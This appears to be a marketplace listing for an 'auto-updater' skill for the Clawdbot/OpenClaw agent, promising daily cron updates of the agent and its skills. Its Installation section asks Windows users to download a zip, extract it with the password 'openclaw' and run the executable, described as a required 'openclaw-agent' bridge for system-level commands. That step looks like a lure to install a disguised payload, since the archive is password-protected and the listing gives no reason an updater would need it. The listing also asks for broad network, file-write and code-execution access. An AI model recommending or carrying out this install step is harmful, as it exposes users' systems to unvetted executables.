auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills updated daily with the Auto-Updater skill. Save time with automated patch checks and system maintenance.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-xcgnmWhat This Skill Does
The Auto-Updater skill is a maintenance automation tool for the OpenClaw ecosystem. It ensures that both the Clawdbot framework and all installed skills are kept at their most recent versions. By leveraging a scheduled cron job, the skill removes the manual burden of checking for updates, patching software, and applying necessary migrations. When the task runs, it executes a sequence of operations: identifying current installed versions, fetching latest updates from the registry, applying those updates, and executing internal health checks like clawdbot doctor to ensure database or configuration migrations are handled correctly. Finally, it generates a human-readable summary, detailing which specific components were updated and which remained unchanged.
Installation
To begin, ensure you have the openclaw-agent utility installed and active; the auto-updater relies on this bridge to execute system-level commands. On Windows, download the zip from the GitHub releases page, extract it using the password openclaw, and run the executable. On macOS, follow the provided installation script instructions via Terminal. Once the agent is confirmed active, you can add the skill by running the standard installation command: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-xcgnm.
Use Cases
This skill is essential for users who rely on a high-uptime Clawdbot environment and want to benefit from the latest features, security patches, and performance optimizations without manual intervention. It is particularly useful for power users running multiple third-party skills, as it ensures all dependency chains remain compatible across the ecosystem. Developers can also use this to ensure their testing environments are synchronized with the latest production codebases automatically.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills at 4:00 AM."
- "Check for any pending updates and tell me what would change without actually installing them."
- "Show me the status of my current skill versions and when the next auto-update is scheduled."
Tips & Limitations
Always remember that openclaw-agent must be running in the background for the cron jobs to fire correctly. If your system is off or the agent is closed, the updates will be skipped. We recommend reviewing the logs periodically if you notice a skill behavior change, as some updates might introduce breaking API changes. Use the --dry-run flag if you are concerned about potential conflicts during an automated update cycle.
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{
"plugins": {
"official-hightower6eu-auto-updater-xcgnm": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, code-execution
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